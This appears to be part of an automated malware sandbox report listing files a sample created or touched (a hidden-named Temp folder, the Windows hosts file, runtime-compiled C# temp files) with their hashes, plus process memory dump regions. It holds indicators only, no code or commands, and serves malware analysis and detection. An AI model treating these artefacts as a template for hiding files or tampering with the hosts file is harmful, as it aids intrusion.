                                                                                    • C:\Users\Admin\AppData\Local\Temp\‌  ​‎​‍   \Common Files\Documents\ResolveFind.docx

                                                                                      Filesize

                                                                                      20KB

                                                                                      MD5

                                                                                      919f8a096cac9ba39bf7b47f87d73b51

                                                                                      SHA1

                                                                                      d457949e002aecbab38a4ede7e615d6b06261021

                                                                                      SHA256

                                                                                      16ee4f8adfa692c970d3ec17f7fd164973c33eded3a50e49b348ba83d9883594

                                                                                      SHA512

                                                                                      0ca723cc28e0f84483464b0ef4e90b9dbc215a67cf3ce91944792c2e2a4f68413f33bc5fc49fab0268701687be9fdf692fce065b12b0cf81351c69c52b83861f

                                                                                    • C:\Windows\System32\drivers\etc\hosts

                                                                                      Filesize

                                                                                      2KB

                                                                                      MD5

                                                                                      f99e42cdd8b2f9f1a3c062fe9cf6e131

                                                                                      SHA1

                                                                                      e32bdcab8da0e3cdafb6e3876763cee002ab7307

                                                                                      SHA256

                                                                                      a040d43136f2f4c41a4875f895060fb910267f2ffad2e3b1991b15c92f53e0f0

                                                                                      SHA512

                                                                                      c55a5e440326c59099615b21d0948cdc2a42bd9cf5990ec88f69187fa540d8c2e91aebe6a25ed8359a47be29d42357fec4bd987ca7fae0f1a6b6db18e1c320a6

                                                                                    • \??\c:\Users\Admin\AppData\Local\Temp\nxamjltt\CSCD81EFB381F614464BA3AF7D46884BB.TMP

                                                                                      Filesize

                                                                                      652B

                                                                                      MD5

                                                                                      9b983960213e530b71bc72e40b3d7e5f

                                                                                      SHA1

                                                                                      6de42f3dc3f3341510c30303c1286481d578bab8

                                                                                      SHA256

                                                                                      7d2b809d4b35e90a7c0c3e7875a2683c64453871982bf87f8b6803bafb6a8308

                                                                                      SHA512

                                                                                      08f05ec40696fbee907e3d7f7fe5e9b19360da41bb3053c14a2d7b2894a3ab977a6055b5061f2e21295e9869074d69507ed1343ec7a6f4e5beacb302ae332fab

                                                                                    • \??\c:\Users\Admin\AppData\Local\Temp\nxamjltt\nxamjltt.0.cs

                                                                                      Filesize

                                                                                      1004B

                                                                                      MD5

                                                                                      c76055a0388b713a1eabe16130684dc3

                                                                                      SHA1

                                                                                      ee11e84cf41d8a43340f7102e17660072906c402

                                                                                      SHA256

                                                                                      8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

                                                                                      SHA512

                                                                                      22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

                                                                                    • \??\c:\Users\Admin\AppData\Local\Temp\nxamjltt\nxamjltt.cmdline

                                                                                      Filesize

                                                                                      607B

                                                                                      MD5

                                                                                      6db6fbdebacbf9f7aade27db0909d7af

                                                                                      SHA1

                                                                                      54d06583ea1948be10d22832a47298c2faf87838

                                                                                      SHA256

                                                                                      f13edb0973df76fe05a5c902e921712f4417913132c98b8289eb16280eb9e2b4

                                                                                      SHA512

                                                                                      d1af7fe9abed7c7a50df5e6c8ed8938d3e435e8e0e0ca10d50a03c4b7a5ba5a8d32df7784532056519034f34be95833eaa0ca1e9555b93d9f4ed93b4b9f42f4b

                                                                                    • memory/804-84-0x00007FFEC52B3000-0x00007FFEC52B5000-memory.dmp

                                                                                      Filesize

                                                                                      8KB

                                                                                    • memory/804-85-0x000001FB336C0000-0x000001FB336E2000-memory.dmp

                                                                                      Filesize

                                                                                      136KB

                                                                                    • memory/1464-356-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1464-357-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1464-355-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1464-367-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1464-366-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1464-365-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1464-364-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1464-363-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1464-362-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/1464-361-0x000002A5AA360000-0x000002A5AA361000-memory.dmp

                                                                                      Filesize

                                                                                      4KB

                                                                                    • memory/4620-58-0x00007FFED5FD0000-0x00007FFED5FF3000-memory.dmp

                                                                                      Filesize

                                                                                      140KB

                                                                                    • memory/4620-354-0x00007FFED5F60000-0x00007FFED5F6D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4620-260-0x00007FFEDC4B0000-0x00007FFEDC4C9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4620-25-0x00007FFEC6DA0000-0x00007FFEC738A000-memory.dmp

                                                                                      Filesize

                                                                                      5.9MB

                                                                                    • memory/4620-188-0x00007FFEC6C30000-0x00007FFEC6D9F000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/4620-162-0x00007FFED5FD0000-0x00007FFED5FF3000-memory.dmp

                                                                                      Filesize

                                                                                      140KB

                                                                                    • memory/4620-83-0x00007FFEC5E30000-0x00007FFEC5F4C000-memory.dmp

                                                                                      Filesize

                                                                                      1.1MB

                                                                                    • memory/4620-82-0x00007FFED21A0000-0x00007FFED21CD000-memory.dmp

                                                                                      Filesize

                                                                                      180KB

                                                                                    • memory/4620-77-0x00007FFED5F70000-0x00007FFED5F84000-memory.dmp

                                                                                      Filesize

                                                                                      80KB

                                                                                    • memory/4620-78-0x00007FFED5F60000-0x00007FFED5F6D000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4620-75-0x00007FFED6D00000-0x00007FFED6D23000-memory.dmp

                                                                                      Filesize

                                                                                      140KB

                                                                                    • memory/4620-72-0x000001F218150000-0x000001F2184C5000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/4620-73-0x00007FFEC6530000-0x00007FFEC65E8000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/4620-69-0x00007FFEC6DA0000-0x00007FFEC738A000-memory.dmp

                                                                                      Filesize

                                                                                      5.9MB

                                                                                    • memory/4620-289-0x00007FFED5F90000-0x00007FFED5FBE000-memory.dmp

                                                                                      Filesize

                                                                                      184KB

                                                                                    • memory/4620-290-0x00007FFEC61B0000-0x00007FFEC6525000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/4620-302-0x00007FFEC6530000-0x00007FFEC65E8000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/4620-314-0x00007FFED6D00000-0x00007FFED6D23000-memory.dmp

                                                                                      Filesize

                                                                                      140KB

                                                                                    • memory/4620-319-0x00007FFEC6C30000-0x00007FFEC6D9F000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/4620-313-0x00007FFEC6DA0000-0x00007FFEC738A000-memory.dmp

                                                                                      Filesize

                                                                                      5.9MB

                                                                                    • memory/4620-327-0x00007FFEC5E30000-0x00007FFEC5F4C000-memory.dmp

                                                                                      Filesize

                                                                                      1.1MB

                                                                                    • memory/4620-340-0x00007FFED5F70000-0x00007FFED5F84000-memory.dmp

                                                                                      Filesize

                                                                                      80KB

                                                                                    • memory/4620-348-0x00007FFED5FD0000-0x00007FFED5FF3000-memory.dmp

                                                                                      Filesize

                                                                                      140KB

                                                                                    • memory/4620-273-0x000001F218150000-0x000001F2184C5000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/4620-353-0x00007FFEC61B0000-0x00007FFEC6525000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/4620-352-0x00007FFED5F90000-0x00007FFED5FBE000-memory.dmp

                                                                                      Filesize

                                                                                      184KB

                                                                                    • memory/4620-351-0x00007FFED5FC0000-0x00007FFED5FCD000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4620-350-0x00007FFEDC4B0000-0x00007FFEDC4C9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4620-349-0x00007FFEC6C30000-0x00007FFEC6D9F000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/4620-347-0x00007FFED5E40000-0x00007FFED5E59000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4620-346-0x00007FFED21A0000-0x00007FFED21CD000-memory.dmp

                                                                                      Filesize

                                                                                      180KB

                                                                                    • memory/4620-345-0x00007FFEC6530000-0x00007FFEC65E8000-memory.dmp

                                                                                      Filesize

                                                                                      736KB

                                                                                    • memory/4620-344-0x00007FFED6D00000-0x00007FFED6D23000-memory.dmp

                                                                                      Filesize

                                                                                      140KB

                                                                                    • memory/4620-343-0x00007FFEDE2E0000-0x00007FFEDE2EF000-memory.dmp

                                                                                      Filesize

                                                                                      60KB

                                                                                    • memory/4620-342-0x00007FFEC5E30000-0x00007FFEC5F4C000-memory.dmp

                                                                                      Filesize

                                                                                      1.1MB

                                                                                    • memory/4620-328-0x00007FFEC6DA0000-0x00007FFEC738A000-memory.dmp

                                                                                      Filesize

                                                                                      5.9MB

                                                                                    • memory/4620-70-0x00007FFED5F90000-0x00007FFED5FBE000-memory.dmp

                                                                                      Filesize

                                                                                      184KB

                                                                                    • memory/4620-71-0x00007FFEC61B0000-0x00007FFEC6525000-memory.dmp

                                                                                      Filesize

                                                                                      3.5MB

                                                                                    • memory/4620-63-0x00007FFEDC4B0000-0x00007FFEDC4C9000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4620-64-0x00007FFED5FC0000-0x00007FFED5FCD000-memory.dmp

                                                                                      Filesize

                                                                                      52KB

                                                                                    • memory/4620-60-0x00007FFEC6C30000-0x00007FFEC6D9F000-memory.dmp

                                                                                      Filesize

                                                                                      1.4MB

                                                                                    • memory/4620-56-0x00007FFED5E40000-0x00007FFED5E59000-memory.dmp

                                                                                      Filesize

                                                                                      100KB

                                                                                    • memory/4620-54-0x00007FFED21A0000-0x00007FFED21CD000-memory.dmp

                                                                                      Filesize

                                                                                      180KB

                                                                                    • memory/4620-31-0x00007FFED6D00000-0x00007FFED6D23000-memory.dmp

                                                                                      Filesize

                                                                                      140KB

                                                                                    • memory/4620-32-0x00007FFEDE2E0000-0x00007FFEDE2EF000-memory.dmp

                                                                                      Filesize

                                                                                      60KB

                                                                                    • memory/4644-201-0x0000023029B30000-0x0000023029B38000-memory.dmp

                                                                                      Filesize

                                                                                      32KB